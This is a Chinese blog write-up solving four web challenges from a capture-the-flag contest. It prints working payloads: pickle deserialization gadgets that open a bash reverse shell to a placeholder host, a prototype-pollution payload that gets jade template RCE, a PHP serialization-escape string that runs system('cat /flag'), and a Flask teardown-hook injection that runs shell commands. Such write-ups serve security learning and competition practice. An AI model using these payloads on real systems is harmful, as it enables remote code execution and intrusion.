• 第二届黄河流域网络安全技能挑战赛Web_wirteup


    前言

    好久没写过比赛的wp了,黄河流域的web出的不错,挺有意思了,花了点时间,也是成功的ak了

    myfavorPython

    注册登录,一个base64输入框,猜测pickle反序列化,简单测试下,返回的数据是pickletools.dis解析的opcode结构,猜测其实已经load了,但是没回显,写个反弹shell的opcode:

    import pickle
    import base64
    class Exp(object):
        def __reduce__(self):    
           return (os.system,("bash -c \"bash -i >&/dev/tcp/vps/ip 0>&1\"",))
    a = Exp()
    print(base64.b64encode(pickle.dumps(a)))
    

    发送,拿到shell,cat flag

    Ezzz_Proto

    const express = require('express');
    const lodash = require('lodash');
    const path = require('path');
    var bodyParser = require('body-parser');
    
    
    const app =  express();
    var router = express.Router();
    
    app.set('view engine', 'jade');
    app.set('views', path.join(__dirname, 'views'));
    app.use(bodyParser.json({ extended: true }));
    
    
    app.get('/',function (req, res) {
        res.send('Hello World');
    })
    
    app.post('/post',function (req, res) {
        function merge(target, source) {
            for (let key in source) {
                if (key in source && key in target) {
                    merge(target[key], source[key])
                } else {
                    target[key] = source[key]
                }
            }
        }
        var malicious_payload = JSON.stringify(req.body);
        var body = JSON.parse(JSON.stringify(req.body));
        var a = {};
        merge(a, JSON.parse(malicious_payload));
        console.log(a.name);
        res.render('index.jade', {
            title: 'HTML',
            name: a.name || ''
        });
    })
    app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))
    

    阅读源码,merge处可原型链污染,这里用的jade引擎,应该可以打jade的rce,简单找了个payload,{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"'))"}},没打通,追踪一下流程,前面的一切正常,追踪到complie处

    compile: function(){
        this.buf = [];
        if (this.pp) this.buf.push("var jade_indent = [];");
        this.lastBufferedIdx = -1;
        this.visitCode(this.node);
        if (!this.dynamicMixins) {
          // if there are no dynamic mixins we can remove any un-used mixins
          var mixinNames = Object.keys(this.mixins);
          for (var i = 0; i < mixinNames.length; i++) {
            var mixin = this.mixins[mixinNames[i]];
            if (!mixin.used) {
              for (var x = 0; x < mixin.instances.length; x++) {
                for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
                  this.buf[y] = '';
                }
              }
            }
          }
        }
        return this.buf.join('\n');
      },
    

    这里使用的是visitCode去查AST树,上面的payload满足的是使用visit去查,跟进一下,设置val的值为恶意代码即可

    visitCode: function(code){
        // Wrap code blocks with {}.
        // we only wrap unbuffered code blocks ATM
        // since they are usually flow control
    
        // Buffer code
        if (code.buffer) {
          var val = code.val.trim();
          val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
          if (code.escape) val = 'jade.escape(' + val + ')';
          this.bufferExpression(val);
        } else {
          this.buf.push(code.val);
        }
    
        // Block support
        if (code.block) {
          if (!code.buffer) this.buf.push('{');
          this.visit(code.block);
          if (!code.buffer) this.buf.push('}');
        }
      },
    

    所以最终的payload为:{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'))"}}
    拿到shell,cat flag

    逃跑大师

    
    highlight_file(__FILE__);
    error_reporting(0);
    function substrstr($data)
    {
        $start = mb_strpos($data, "[");
        $end = mb_strpos($data, "]");
        return mb_substr($data, $start, $end + 1 - $start);
    }
    class A{
        public $A;
        public $B = "HELLO";
        public $C = "!!!";
        public function __construct($A){
            $this->A = $A;
        }
        public function __destruct(){
            $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
            echo $key;
            eval($key);
        }
    }
    if(isset($_POST['escape'])) {
        $Class = new A($_POST['escape']);
        $Key = serialize($Class);
        $K = str_replace("SDPCSEC", "SanDieg0", $Key);
        unserialize($K);
    }
    else{
        echo "nonono";
    } nonono
    

    反序列化逃逸,利用点在eval($_key),我们得控制$key的值,$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B$C的值,分析一下substrstr函数,根据[,] 的位置来截取字符串,这里有点讲究,这里假设$C=1,后面拼接了[welcome sdpcsec1]18个字符,我们截取到-18即可,控制$end=0$start=19,即]111111111111111111[phpinfo()]; ,这样就能成功执行phpinfo,接下来看逃逸,增量逃逸,简单构造下逃逸的字符串:";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76,在前面加上76个SDPCSEC ,post拿到flag

    Python-revenge

    import base64
    import io
    import os
    import pickle
    import pickletools
    import sys
    
    from flask import Flask, render_template, request, redirect, url_for, session
    from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
    
    app = Flask(__name__)
    app.secret_key = 'welcome_to_here'  # 修改为一个随机的密钥
    
    # 初始化 Flask-Login
    login_manager = LoginManager()
    login_manager.init_app(app)
    login_manager.login_view = 'login'
    
    # 模拟一个用户类
    class User(UserMixin):
        def __init__(self, id):
            self.id = id
    
    # 模拟用户数据库
    users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}
    
    @login_manager.user_loader
    def load_user(user_id):
        return User(user_id)
    
    
    
    
    @app.route('/login', methods=['GET', 'POST'])
    
    def login():
        if request.method == 'POST':
            username = request.form['username']
            password = request.form['password']
            user_data = users.get(username)
            if user_data and user_data.get('password') == password:
                user = User(username)
                login_user(user)
    
                session['role'] = 'admin' if username == 'admin_id' else 'user'
    
                return render_template('index.html')
        return render_template('login.html')
    
    @app.route('/logout')
    @login_required
    def logout():
        logout_user()
        session.pop('role', None)
        return redirect(url_for('login'))
    
    @app.route('/', methods=['GET', 'POST'])
    @login_required
    def index():
        results = ""
        if request.method == 'POST':
            a = request.form['text']
            output = io.StringIO()
            try:
                decoded_data = base64.b64decode(a)
                if b'before' in decoded_data or b'after' in decoded_data:
                    results = "不可以添加函数!"
                    return render_template("index.html",results=results)
                elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
                    results = "不能写文件嗷!"
                    return render_template("index.html",results=results)
                else:
                    pickle.loads(decoded_data)
                with io.StringIO() as file:
                    old_stdout = sys.stdout
                    sys.stdout = file
                    try:
                        pickletools.dis(decoded_data)
                    finally:
                        sys.stdout = old_stdout
                    results = file.getvalue()
            except:
                results = "error"
    
            return render_template('index.html', results=results)
        else:
            return render_template('index.html')
    @app.route('/register', methods=['GET', 'POST'])
    def register():
        if request.method == 'POST':
            username = request.form['username']
            password = request.form['password']
    
            # 检查用户名是否已存在
            if username in users:
                return "用户名已存在,请选择其他用户名"
    
            # 创建新用户
            users[username] = {'password': password, 'role': 'user'}
    
            # 登录新用户
            user = User(username)
            login_user(user)
    
            return redirect(url_for('index'))
    
        return render_template('register.html')
    
    
    if __name__ == '__main__':
        app.config['SESSION_COOKIE_NAME'] = 'session'
        app.run(host='0.0.0.0', port=5000)
    

    逻辑跟第一道web题一样,不过这次不出网,而且还有黑名单,常规的内存马写法被限制的死死的,翻阅源码的钩子函数,找到个teardown_request,这个函数会在每次request后执行,即使抛出异常也会执行(在debug=False)的情况下,简单构造一下:app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
    base64的数据为:cat flag.txt > /app/static/flag.txt

    import pickle
    import base64
    
    class Exp(object):
        def __reduce__(self):    
           return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
    a = Exp()
    print(pickle.dumps(a))
    print(base64.b64encode(pickle.dumps(a)))
    

    post数据,访问/static/flag.txt拿到flag


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18187951
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    计算机毕业设计Java本地助农产品销售系统(源码+系统+mysql数据库+lw文档)
    【C++设计模式之装饰模式:结构型】分析及示例
    大数加减,不使用BigInt,可以采用进位运算
    实习生跑路留了一个大坑,搞出2个线上问题,我被坑惨了
    如何构建高效、可观的系统「GitHub 热点速览」
    Redis宕机恢复
    【ybtoj遗物题集】
    Kelper.js 笔记 python交互
    Java日志框架的依赖设置备查(SLF4J, Log4j, Logback)
    Redis主从复制+哨兵选举机制分析
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18187951